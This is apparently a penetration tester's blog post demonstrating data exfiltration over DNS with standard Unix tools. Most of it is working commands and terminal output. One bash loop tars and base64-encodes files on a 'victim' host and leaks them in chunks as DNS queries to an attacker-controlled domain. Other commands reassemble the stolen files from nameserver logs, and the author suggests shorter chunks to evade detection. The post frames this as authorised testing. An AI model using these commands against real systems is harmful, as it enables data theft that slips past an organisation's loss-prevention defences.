data exfiltration via DNS with standard OS tools
the background
[Note: I didn't invent this technique; this is simply meant as a PoC for the interested. grimm]
As a sometimes-penetration-tester, one of the things I check is the ability to exfiltrate (i.e., ship to a location under my control) any data I've stolen. (Actually, to ship out some data I've faked to look like the stuff I would be stealing, as it would be irresponsible to have my employers'/clients' live data strewn about.) The point is to see if I can sneak it past whatever countermeasures {we,they}'ve deployed against such activity (commonly called "Data Loss Prevention" technologies).
There may be lots of ways to do this, depending upon the security posture of the target environment, but if you find yourself facing a paucity of options when it comes to outbound connectivity, one Internet-reaching service almost all environments permit to machines within is recursive DNS resolution. The nice thing about recursive DNS is that even if my adversary (the target's defenders) have blocked the ability of "inside" machines to make DNS requests directly of "outside" servers, they'll typically allow access to their own DNS servers, and that's just as good. Mostly. (More on that later.)
Anyway, here's one way we can leverage DNS to our advantage using nothing more than bash and tools that are almost certainly installed on any Unix-like OS (and should be adaptable to Windows with a modest amount of cmd.exe-Fu or PowerShell):
the bullet list
- configure nameservers you control for query logging
- chunk data into (less-than-60-)byte-sized morsels
- come up with some way to keep them in the right order and check for missing chunks
- make DNS requests within a fake subdomain of your domain with the chunks prepended
- harvest the logged queries, reassemble into meaningful data
the full procedure
[root@ns0 pentester]# grep query /var/log/messages | head -1
Jan 30 20:48:18 ns0 named[29085]: client 172.28.57.81#23406: view external: query: some-rr.our-domain.tld IN A -E
[hijacked_account@victim0 dns_tx]$ dig +short www-Gb8RRyQ.our-domain.tld
[hijacked_account@victim0 dns_tx]$
[root@ns0 pentester]# grep www-Gb8RRyQ /var/log/messages
Jan 30 20:50:56 ns0 named[29085]: client 172.28.57.81#8844: view external: query: www-Gb8RRyQ.our-domain.tld IN A -E
[hijacked_account@victim0 dns_tx]$ file *
alphanumeric.ods: OpenDocument Spreadsheet
symphony.odt: OpenDocument Text
[hijacked_account@victim0 dns_tx]$ openssl sha1 *
SHA1(alphanumeric.ods)= 6846777a88957d1336c8a04b23f88c2b3ba83c70
SHA1(symphony.odt)= a393449a180395bb7bdcc8b3e34f7cbcb5a42c84
[hijacked_account@victim0 test]$ tag=BV5r4; count=0; for line in $(tar -czf - dns_tx | base64 -b 50); do q=`printf "%03d-%s.%s.our-domain.tld\n" $count $line $tag`; echo $q; dig +short $q 2>/dev/null; sleep 0.2; count=$[count+1]; done | tee dns_tx/dns_tx.log
000-H4sIAC106lIAA+16B1RUSbRtkyQnJUhSRHJscs4ZAckiOTXQAg.BV5r4.our-domain.tld
001-10N1lAkiAZoZWMIEkki+QgIEklCCg5g2SQnOGDjjPqw3nOWu/9.BV5r4.our-domain.tld
002-/996c1i3L133nF3nVnVVnVO1LSAwY5ArB+C/U4BAID8vL/WXO9.BV5r4.our-domain.tld
...
544-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.BV5r4.our-domain.tld
545-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.BV5r4.our-domain.tld
546-AAAAAAA=.BV5r4.our-domain.tld
tag=BV5r4;
count=0;
for line in $(tar -czf - dns_tx | base64 -b 50);
tar -czf - dns_tx
| base64 -b 50
do q=`printf "%03d-%s.%s.our-domain.tld\n" $count $line $tag`;
000-H4sIAC106lIAA+16B1RUSbRtkyQnJUhSRHJscs4ZAckiOTXQAg.BV5r4.our-domain.tld
echo $q;
dig +short $q 2>/dev/null;
sleep 0.2;
count=$[count+1];
done
| tee dns_tx/dns_tx.log
[root@ns0 pentester]# grep '\.BV5r4\.' /var/log/messages > dns_tx_ns0.txt
[root@ns0 pentester]#
[root@ns1 pentester]# grep '\.BV5r4\.' /var/log/messages > dns_tx_ns1_.txt
[root@ns1 pentester]#
[pentester@secret-lair dns_rx]$ scp ns0:./dns_tx_ns0.txt .
...
[pentester@secret-lair dns_rx]$ scp ns1:./dns_tx_ns1.txt .
...
[pentester@secret-lair dns_rx]$ cat dns_tx_ns0.txt dns_tx_ns1.txt | awk '{print $(NF-3)}' | awk -F '-' '{print $1 " " $2}' | sort -k1,1n | uniq > dns_tx.txt
[pentester@secret-lair dns_rx]$
cat dns_tx_ns0.txt dns_tx_ns1.txt
| awk '{print $(NF-3)}'
| awk -F '-' '{print $1 " " $2}' | sort -k1,1n | uniq > dns_tx.txt
| sort -k1,1n
| uniq > dns_tx.txt
> dns_tx.txt
[pentester@secret-lair dns_rx]$ wc -l dns_tx.txt
547 dns_tx.txt
[pentester@secret-lair dns_rx]$ for i in $(seq 0 546); do str=`printf "%03d" $i`; ok=`egrep "^$str " dns_tx.txt`; if [ -z "$ok" ]; then echo "MISSING SEGMENT: $i"; fi; done
[pentester@secret-lair dns_rx]$
[pentester@secret-lair dns_rx]$ wc -l dns_tx.txt
543 dns_tx.txt
[pentester@secret-lair dns_rx]$ for i in $(seq 0 546); do str=`printf "%03d" $i`; ok=`egrep "^$str " dns_tx.txt`; if [ -z "$ok" ]; then echo "MISSING SEGMENT: $i"; fi; done
MISSING SEGMENT: 41
MISSING SEGMENT: 295
MISSING SEGMENT: 367
MISSING SEGMENT: 537
[pentester@secret-lair dns_rx]$
[pentester@secret-lair dns_rx]$ cat dns_tx.txt
000 H4sIAC106lIAA+16B1RUSbRtkyQnJUhSRHJscs4ZAckiOTXQAg.BV5r4.our-domain.tld
001 10N1lAkiAZoZWMIEkki+QgIEklCCg5g2SQnOGDjjPqw3nOWu/9.BV5r4.our-domain.tld
002 /996c1i3L133nF3nVnVVnVO1LSAwY5ArB+C/U4BAID8vL/WXO9.BV5r4.our-domain.tld
...
544 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.BV5r4.our-domain.tld
545 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.BV5r4.our-domain.tld
546 AAAAAAA=.BV5r4.our-domain.tld
[pentester@secret-lair dns_rx]$ awk '{print $2}' dns_tx.txt | awk -F '.' '{print $1}' > dns_tx.b64
awk '{print $2}' dns_tx.txt
| awk -F '.' '{print $1}'
> dns_tx.b64
[pentester@secret-lair dns_rx]$ base64 -di dns_tx.b64 > dns_tx.tgz
[pentester@secret-lair dns_rx]$ file dns_tx.tgz
dns_tx.tgz: gzip compressed data, from Unix, last modified: Thu Jan 30 20:47:57 2014
[pentester@secret-lair dns_rx]$ tar -xzf dns_tx.tgz
[pentester@secret-lair dns_rx]$ cd dns_tx
[pentester@secret-lair dns_tx]$ file *
alphanumeric.ods: OpenDocument Spreadsheet
dns_tx.log: empty
symphony.odt: OpenDocument Text
[pentester@secret-lair dns_tx]$ openssl sha1 *
SHA1(alphanumeric.ods)= 6846777a88957d1336c8a04b23f88c2b3ba83c70
SHA1(dns_tx.log)= da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA1(symphony.odt)= a393449a180395bb7bdcc8b3e34f7cbcb5a42c84
in conclusion...
So, there you have it. Note that there are any number of variations you could make; for instance, if you wanted to encrypt the data (recommended, if you're going to be sassy enough to ship out the client's live goodies), you could insert some openssl goodness into the "packaging" and "reassembly" steps; you could rig up some more transmission-time error checking (you could reinvent TCP!); maybe you want shorter chunks of base64-encoded data to further evade detection. Possibilities abound.
If you're doing this stuff with the target's consent for purely ethical reasons and have questions, feel free to drop a line. I'm sure you can figure out how. ;-)
grimm